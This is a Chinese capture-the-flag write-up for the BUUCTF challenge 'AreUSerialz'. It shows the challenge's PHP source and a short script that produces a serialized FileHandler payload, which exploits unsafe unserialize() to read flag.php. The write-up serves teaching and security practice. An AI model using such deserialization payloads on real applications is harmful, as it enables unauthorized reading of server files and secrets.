108,【8】 buuctf web [网鼎杯 2020 青龙组]AreUSerialz

news/2025/2/6 12:30:48 标签: 前端, android

进入靶场

<?php
// 包含 flag.php 文件,通常这个文件可能包含敏感信息,如 flag
include("flag.php");

// 高亮显示当前文件的源代码,方便查看代码结构和逻辑
highlight_file(__FILE__);

// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {
    // 受保护的属性 $op,用于表示操作类型(1 表示写操作,2 表示读操作)
    protected $op;
    // 受保护的属性 $filename,用于存储要操作的文件名
    protected $filename;
    // 受保护的属性 $content,用于存储要写入文件的内容
    protected $content;

    // 构造函数,当创建 FileHandler 类的对象时自动调用
    function __construct() {
        // 初始化操作类型为 "1",表示写操作
        $op = "1";
        // 初始化要操作的文件名为 "/tmp/tmpfile"
        $filename = "/tmp/tmpfile";
        // 初始化要写入文件的内容为 "Hello World!"
        $content = "Hello World!";
        // 调用 process 方法处理操作
        $this->process();
    }

    // 公共方法,用于根据操作类型执行相应的处理
    public function process() {
        // 如果操作类型为 "1",执行写操作
        if($this->op == "1") {
            $this->write();
        // 如果操作类型为 "2",执行读操作并输出结果
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        // 若操作类型不是 "1" 或 "2",输出错误信息
        } else {
            $this->output("Bad Hacker!");
        }
    }

    // 私有方法,用于将内容写入文件
    private function write() {
        // 检查文件名和内容是否都已设置
        if(isset($this->filename) && isset($this->content)) {
            // 检查要写入的内容长度是否超过 100 个字符
            if(strlen((string)$this->content) > 100) {
                // 若超过 100 个字符,输出错误信息并终止程序
                $this->output("Too long!");
                die();
            }
            // 将内容写入指定文件,并获取写入的字节数
            $res = file_put_contents($this->filename, $this->content);
            // 根据写入结果输出相应信息
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        // 若文件名或内容未设置,输出错误信息
        } else {
            $this->output("Failed!");
        }
    }

    // 私有方法,用于从文件中读取内容
    private function read() {
        // 初始化读取结果为空字符串
        $res = "";
        // 检查文件名是否已设置
        if(isset($this->filename)) {
            // 从指定文件中读取内容
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    // 私有方法,用于输出结果信息
    private function output($s) {
        // 输出结果的提示信息
        echo "[Result]: <br>";
        // 输出具体的结果内容
        echo $s;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 如果操作类型严格等于 "2",将操作类型改为 "1"
        if($this->op === "2")
            $this->op = "1";
        // 将内容清空
        $this->content = "";
        // 再次调用 process 方法处理操作
        $this->process();
    }
}

// 定义一个验证函数,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {
    // 遍历字符串中的每个字符
    for($i = 0; $i < strlen($s); $i++)
        // 检查字符的 ASCII 码是否在有效范围内
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 检查是否通过 GET 请求传递了名为 'str' 的参数
if(isset($_GET{'str'})) {
    // 将获取到的参数转换为字符串
    $str = (string)$_GET['str'];
    // 检查字符串是否通过验证
    if(is_valid($str)) {
        // 若通过验证,对字符串进行反序列化操作
        $obj = unserialize($str);
    }
}

程序会根据 $op 属性的值决定执行写操作还是读操作,同时对写入内容的长度进行了限制

提供了一个验证函数 is_valid 用于检查输入字符串的合法性

允许通过 GET 请求传递一个序列化的对象进行反序列化操作

<?php
class FileHandler {
    public $op=2;
    public $filename="./flag.php";
	public $content;
	}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>

php在线运行,在线工具,在线编译IDE_w3cschool 

 

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;} 

 

 


http://www.niftyadmin.cn/n/5842994.html

相关文章

【springboot】拦截器和过滤器的区别

【springboot】拦截器和过滤器的区别 【一】区别【二】适用场景【1】过滤器【2】拦截器 【三】使用案例【1】过滤器使用案例【2】拦截器使用案例 在 Spring Boot 中&#xff0c;拦截器&#xff08;Interceptor&#xff09;和过滤器&#xff08;Filter&#xff09;都是用于对请求…

DeepSeek各版本说明与优缺点分析

DeepSeek各版本说明与优缺点分析 DeepSeek是最近人工智能领域备受瞩目的一个语言模型系列&#xff0c;其在不同版本的发布过程中&#xff0c;逐步加强了对多种任务的处理能力。本文将详细介绍DeepSeek的各版本&#xff0c;从版本的发布时间、特点、优势以及不足之处&#xff0…

SpringBoot+SpringDataJPA项目中使用EntityManager执行复杂SQL

import javax.annotation.Resource; import javax.persistence.EntityManager;Resource private EntityManager entityManager; //1. 查询数据 public List<Object[]> getAllPersons() { String sql "SELECT * FROM table_name"; return entityMa…

Spark--如何理解RDD

1、概念 rdd是对数据集的逻辑表示&#xff0c;本身并不存储数据&#xff0c;只是封装了计算逻辑&#xff0c;并构建执行计划&#xff0c;通过保存血缘关系来记录rdd的执行过程和历史&#xff08;当一个rdd需要重算时&#xff0c;系统会根据血缘关系追溯到最初的数据源&#xff…

​K8S运行时切换-从Docker到Containerd的切换实战

1. 切换的原因 性能提升&#xff1a;Containerd通过减少抽象层提升了整体性能。 安全性增强&#xff1a;它提供了更直接的系统调用&#xff0c;减少了潜在的安全风险。 简化架构&#xff1a;Containerd拥有更简洁的设计&#xff0c;使得维护和故障排除更为容易。 官方支持趋…

Ubuntu22.04如何设置linux-lowlatency核心

在Ubuntu上设置 linux-lowlatency 内核可以帮助减少系统延迟&#xff0c;适合需要低延迟环境的任务&#xff08;如音频处理、实时应用等&#xff09;。以下是设置步骤&#xff1a; 1. 更新系统 首先&#xff0c;确保系统是最新的&#xff1a; sudo apt update sudo apt upgr…

在ubuntu22.04上先部署docker,再编译安装kamailio,附详细操作流程及docker和makailio的版本号

以下是在Ubuntu 22.04上部署Docker并编译安装Kamailio的详细操作流程&#xff0c;包含版本号信息&#xff1a; 一、部署Docker&#xff08;版本&#xff1a;24.0.7&#xff09; 更新系统包 sudo apt update && sudo apt upgrade -y安装依赖工具 sudo apt install -y ap…

基于python热门歌曲采集分析系统

基于Python的热门歌曲采集分析系统是一个综合性的音乐数据处理平台&#xff0c;它利用Python的强大功能&#xff0c;结合数据库和前端技术&#xff0c;实现了对热门歌曲的采集、分析、展示和管理。以下是对该系统的详细介绍&#xff1a; 一、系统架构与技术栈 1.后端&#xf…